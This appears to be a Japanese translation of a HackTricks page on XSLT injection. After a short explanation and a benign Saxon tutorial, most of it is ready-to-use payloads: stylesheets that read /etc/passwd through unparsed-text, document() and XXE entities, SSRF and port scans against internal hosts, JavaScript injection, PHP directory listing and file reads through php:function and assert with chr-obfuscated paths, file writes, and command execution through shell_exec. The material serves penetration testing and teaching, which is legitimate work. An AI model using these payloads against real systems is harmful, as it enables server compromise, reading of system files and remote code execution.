ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 したいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
基本情報
XSLTは、XMLドキュメントを異なる形式に変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に使用されています。変換プロセスはサーバー上またはブラウザー内で実行できます。
最も頻繁に使用されるフレームワークには次のものがあります:
XSLTに関連する脆弱性を悪用するためには、xslタグをサーバーサイドに保存し、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、次のソースに記載されています:https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ 。
例 - チュートリアル
Copy sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< catalog >
< cd >
< title >CD Title</ title >
< artist >The artist</ artist >
< company >Da Company</ company >
< price >10000</ price >
< year >1760</ year >
</ cd >
</ catalog >
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
< html >
< body >
< h2 >The Super title</ h2 >
< table border = "1" >
< tr bgcolor = "#9acd32" >
< th >Title</ th >
< th >artist</ th >
</ tr >
< tr >
< td >< xsl : value-of select = "catalog/cd/title" /></ td >
< td >< xsl : value-of select = "catalog/cd/artist" /></ td >
</ tr >
</ table >
</ body >
</ html >
</ xsl : template >
</ xsl : stylesheet >
実行:
Copy saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
< html >
< body >
< h2 >The Super title</ h2 >
< table border = "1" >
< tr bgcolor = "#9acd32" >
< th >Title</ th >
< th >artist</ th >
</ tr >
< tr >
< td >CD Title</ td >
< td >The artist</ td >
</ tr >
</ table >
</ body >
</ html >
フィンガープリント
Copy <? xml version = "1.0" encoding = "ISO-8859-1" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
Version: < xsl : value-of select = "system-property('xsl:version')" />< br />
Vendor: < xsl : value-of select = "system-property('xsl:vendor')" />< br />
Vendor URL: < xsl : value-of select = "system-property('xsl:vendor-url')" />< br />
< xsl : if test = "system-property('xsl:product-name')" >
Product Name: < xsl : value-of select = "system-property('xsl:product-name')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:product-version')" >
Product Version: < xsl : value-of select = "system-property('xsl:product-version')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl : value-of select = "system-property('xsl:is-schema-aware')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl : value-of select = "system-property('xsl:supportsserialization')"
/>< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl : value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br />
</ xsl : if >
</ xsl : template >
</ xsl : stylesheet >
そして実行
Copy $saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
ローカルファイルの読み取り
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : template match = "/" >
< xsl : value-of select = "unparsed-text('/etc/passwd', 'utf-8')" />
</ xsl : template >
</ xsl : stylesheet >
Copy $ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<? xml version = "1.0" encoding = "UTF-8" ?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
SSRF
SSRF(Server-Side Request Forgery、サーバーサイドリクエストフォージェリ)
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : include href = "http://127.0.0.1:8000/xslt" />
< xsl : template match = "/" >
</ xsl : template >
</ xsl : stylesheet >
バージョン
使用されているXSLTバージョンによって、関数の数が異なる可能性があります:
フィンガープリント
これをアップロードして情報を取得します
Copy <? xml version = "1.0" encoding = "ISO-8859-1" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
Version: < xsl : value-of select = "system-property('xsl:version')" />< br />
Vendor: < xsl : value-of select = "system-property('xsl:vendor')" />< br />
Vendor URL: < xsl : value-of select = "system-property('xsl:vendor-url')" />< br />
< xsl : if test = "system-property('xsl:product-name')" >
Product Name: < xsl : value-of select = "system-property('xsl:product-name')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:product-version')" >
Product Version: < xsl : value-of select = "system-property('xsl:product-version')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl : value-of select = "system-property('xsl:is-schema-aware')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl : value-of select = "system-property('xsl:supportsserialization')"
/>< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl : value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br />
</ xsl : if >
</ xsl : template >
</ xsl : stylesheet >
SSRF
SSRF(Server-Side Request Forgery、サーバーサイドリクエストフォージェリ)
Copy < esi : include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" >
</ esi : include >
Javascript インジェクション
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
< script >confirm("We're good");</ script >
</ xsl : template >
</ xsl : stylesheet >
ディレクトリリスト(PHP)
Opendir + readdir
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('opendir','/path/to/dir')" />
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
</ xsl : template ></ xsl : stylesheet >
アサート(var_dump + scandir + false)
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< html xsl : version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl : copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
< br />
</ body >
</ html >
ファイルの読み取り
内部 - PHP
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : template match = "/" >
< xsl : value-of select = "unparsed-text('/etc/passwd', ‘utf-8')" />
</ xsl : template >
</ xsl : stylesheet >
内部 - XXE
Copy <? xml version = "1.0" encoding = "utf-8" ?>
<! DOCTYPE dtd_sample[<! ENTITY ext_file SYSTEM "/etc/passwd" >]>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
&ext_file;
</ xsl : template >
</ xsl : stylesheet >
HTTPを介して
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
< xsl : value-of select = "document('/etc/passwd')" />
</ xsl : template >
</ xsl : stylesheet >
Copy <! DOCTYPE xsl:stylesheet [
<! ENTITY passwd SYSTEM "file:///etc/passwd" >]>
< xsl : template match = "/" >
&passwd;
</ xsl : template >
内部(PHP-機能)
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('file_get_contents','/path/to/file')" />
</ xsl : template >
</ xsl : stylesheet >
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< html xsl : version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
< br />
</ body >
</ html >
ポートスキャン
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "document('http://example.com:22')" />
</ xsl : template >
</ xsl : stylesheet >
ファイルに書き込む
XSLT 2.0
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : result-document href = "local_file.txt" >
< xsl : text >Write Local File</ xsl : text >
</ xsl : result-document >
</ xsl : template >
</ xsl : stylesheet >
Xalan-J拡張機能
Copy < xsl : template match = "/" >
< redirect : open file = "local_file.txt" />
< redirect : write file = "local_file.txt" /> Write Local File</ redirect : write >
< redirect : close file = "loxal_file.txt" />
</ xsl : template >
他の方法として、PDFファイルにファイルを書き込む方法があります。
外部XSLを含める
Copy < xsl : include href = "http://extenal.web/external.xsl" />
Copy <? xml version = "1.0" ?>
<? xml-stylesheet type = "text/xsl" href = "http://external.web/ext.xsl" ?>
コードの実行
php:function
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0"
xmlns : xsl = "http://www.w3.org/1999/XSL/Transform"
xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('shell_exec','sleep 10')" />
</ xsl : template >
</ xsl : stylesheet >
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< html xsl : version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl : copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
< br />
</ body >
</ html >
他のフレームワークを使用してコードを実行する
このページでは、他の言語でのRCEの例を見つけることができます: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
クラスからPHPの静的関数にアクセスする
次の関数は、クラスXSLの静的メソッドstringToUrl
を呼び出します:
Copy <!--- More complex test to call php class function-->
< xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl"
version = "1.0" >
< xsl : output method = "html" version = "XHTML 1.0" encoding = "UTF-8" indent = "yes" />
< xsl : template match = "root" >
< html >
<!-- We use the php suffix to call the static class function stringToUrl() -->
< xsl : value-of select = "php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</ html >
</ xsl : template >
</ xsl : stylesheet >
より多くのペイロード
ブルートフォース検出リスト
参考文献
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 したいですか?または、最新バージョンのPEASSにアクセス したいですか、またはHackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
Last updated 3 months ago